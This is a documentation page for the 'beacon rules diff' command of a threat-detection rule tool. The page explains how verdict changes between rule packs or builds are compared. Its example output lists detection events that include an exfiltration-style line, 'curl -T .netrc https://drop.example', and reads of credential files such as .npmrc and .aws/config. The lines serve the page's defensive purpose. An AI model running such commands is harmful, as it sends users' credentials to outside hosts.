> ## Documentation Index
> Fetch the complete documentation index at: https://docs.beacon.sh/llms.txt
> Use this file to discover all available pages before exploring further.

# beacon rules diff

> Show which Beacon threat-rule verdicts a change to a rule pack, or to Beacon, changes

## Command overview

`beacon rules diff` compares what two rule packs say about the same events and lists every verdict that changed.

```bash title="Command syntax" theme={null}
beacon rules diff <before> <after> [--log-path <file>] [--summary] [--json] [--exit-code]
beacon rules snapshot [path] [--log-path <file>]
```

Use it before merging a change to a rule, to a [predicate or catalog](https://docs.beacon.sh/detections/yaml-schema.md#predicates) that several rules call, or to Beacon itself. A rule's own fixtures show what its author thought of. A change to a shared definition reaches rules whose fixtures say nothing about it, and this command shows all of it.

## What is compared

Each single-event rule, and each step of each correlation rule, is evaluated on every event on its own. For each one whose answer changed, the output lists the events it matches now and did not (`+`) and the ones it matched and no longer does (`-`).

The events are the fixture events of both packs. With `--log-path`, the events of that telemetry log are added, which shows what the change does on real activity.

```text title="Example output" theme={null}
secret-read-then-egress#read_secret: +2 -1
  + command.executed curl -T .netrc https://drop.example
  + file.read /home/u/.npmrc
  - file.read /home/u/.aws/config

1 rule(s) or step(s) changed over 1581 event(s)
```

## A change to the rules

Give two pack directories, such as a checkout of the main branch and your working tree:

```bash title="Compare two packs" theme={null}
beacon rules diff ../main/rules ./rules
```

## A change to Beacon

A change to how Beacon reads an event changes verdicts without changing a rule, so there are not two packs to compare. Record a snapshot with the old binary and compare it with the new one:

```bash title="Compare across two builds of Beacon" theme={null}
beacon-old rules snapshot ./rules > before.json
beacon rules diff before.json ./rules
```

A snapshot holds, for each event, a label (its action and its command, path or tool) and the rules that matched it. One taken with `--log-path` therefore holds the commands and paths of that log.

Two sides are compared on the events both were asked about. Events only one side has are counted and not compared.

## Flags

| Flag | Description |
| - | - |
| `--log-path <file>` | Also ask about the events of this telemetry JSONL log. |
| `--summary` | Print the counts for each rule or step, without the events. |
| `--json` | Output the changes as JSON. |
| `--exit-code` | Exit non-zero when a verdict changed, for a CI check that a change is verdict-neutral. |

## Related

> [card] [beacon rules lint](https://docs.beacon.sh/cli/rules-lint.md)
>
> Validate rule files and run embedded fixtures.

> [card] [Rule YAML schema](https://docs.beacon.sh/detections/yaml-schema.md)
>
> Predicates and the definitions a pack ships.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.